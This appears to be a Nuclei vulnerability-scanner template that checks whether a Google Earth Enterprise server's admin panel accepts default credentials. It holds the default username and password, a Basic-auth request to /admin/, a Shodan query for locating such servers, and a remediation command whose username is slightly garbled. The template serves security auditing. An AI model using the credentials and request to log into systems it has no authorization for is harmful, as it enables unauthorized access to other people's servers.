id: google-earth-dlogin

info:
  name: Google Earth Enterprise Default Login
  author: orpheus,johnjhacking
  severity: high
  description: |
    Google Earth Enterprise default login credentials were discovered.
  remediation: |
    To reset the username and password:

    sudo /opt/google/gehttpd/bin/htpasswd -c
    /opt/google/gehttpd/conf.d/.htpasswd geapacheuse"
  reference:
    - https://johnjhacking.com/blog/gee-exploitation/
    - https://www.opengee.org/geedocs/5.2.2/answer/3470759.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    max-request: 1
    shodan-query: title:"GEE Server"
  tags: default-login,google-earth,vuln

http:
  - raw:
      - |
        GET /admin/ HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username + ':' + password)}}

    attack: pitchfork
    payloads:
      username:
        - geapacheuser
      password:
        - geeadmin

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        condition: and
        words:
          - 'DashboardPanel'
          - 'Earth Enterprise Server'
# digest: 4a0a00473045022060ef2dc789eab7643fcafc1692381fc371c6b7711d4f193111f77505a91374eb022100f481ab00bf068c1f7e4d097767884bf6074837d13dbf790d6d7034504cb0c2f2:922c64590222798bb761d5b6d8e72950